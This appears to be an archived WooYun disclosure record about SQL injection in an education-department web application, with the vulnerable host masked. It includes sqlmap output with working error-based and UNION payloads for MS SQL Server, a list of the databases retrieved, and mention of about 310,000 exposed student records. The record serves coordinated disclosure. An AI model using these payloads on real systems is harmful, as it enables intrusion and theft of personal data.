乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-13: 细节已通知厂商并且等待厂商处理中 2015-10-18: 厂商已经确认,细节仅向厂商公开 2015-10-28: 细节向核心白帽子及相关领域专家公开 2015-11-07: 细节向普通白帽子公开 2015-11-17: 细节向实习白帽子公开 2015-12-02: 细节向公众公开
RT
注入位置:http://**.**.**.**:880/EDJLWeb/(S(x20olb3s4da0ctgmlmjasqij))/Common/HBindSelect.ashx?name=STCode&codeName=注入参数 codeName单引号报错
GET parameter 'codeName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] nsqlmap identified the following injection point(s) with a total of 275 HTTP(s) requests:---Parameter: codeName (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: name=STCode&codeName=' AND 4129=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(120)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4129=4129) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(122)+CHAR(106)+CHAR(113))) AND 'kOti'='kOti Type: UNION query Title: Generic UNION query (NULL) - 11 columns Payload: name=STCode&codeName=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(97)+CHAR(80)+CHAR(106)+CHAR(103)+CHAR(68)+CHAR(104)+CHAR(116)+CHAR(79)+CHAR(88)+CHAR(65)+CHAR(113)+CHAR(120)+CHAR(122)+CHAR(106)+CHAR(113),NULL-----[14:23:15] [INFO] testing Microsoft SQL Server[14:23:18] [INFO] confirming Microsoft SQL Server[14:23:32] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2008[14:23:32] [INFO] fetching database names[14:23:32] [INFO] the SQL query used returns 12 entries[14:23:33] [INFO] retrieved: EducationDepartmentJLFP[14:23:33] [INFO] retrieved: EducationDepartmentJLFP[14:23:33] [INFO] retrieved: EducationDepartmentJLLog[14:23:33] [INFO] retrieved: EducationDepartmentJLPortal[14:23:34] [INFO] retrieved: EEEEE[14:23:34] [INFO] retrieved: master[14:23:34] [INFO] retrieved: model[14:23:35] [INFO] retrieved: msdb[14:23:35] [INFO] retrieved: ReportServer[14:23:56] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)[14:23:56] [INFO] retrieved: ReportServerTempDB[14:24:06] [INFO] retrieved: TeachSurvery[14:24:06] [INFO] retrieved: tempdbavailable databases [11]:[*] EducationDepartmentJLFP[*] EducationDepartmentJLLog[*] EducationDepartmentJLPortal[*] EEEEE[*] master[*] model[*] msdb[*] ReportServer[*] ReportServerTempDB[*] TeachSurvery[*] tempdb
11个数据库:
31W学生信息侧漏:
过滤
危害等级:中
漏洞Rank:10
确认时间:2015-10-18 13:52
CNVD确认所述情况,已经转由CNCERT下发给吉林分中心,由其后续协调网站管理单位处置.
暂无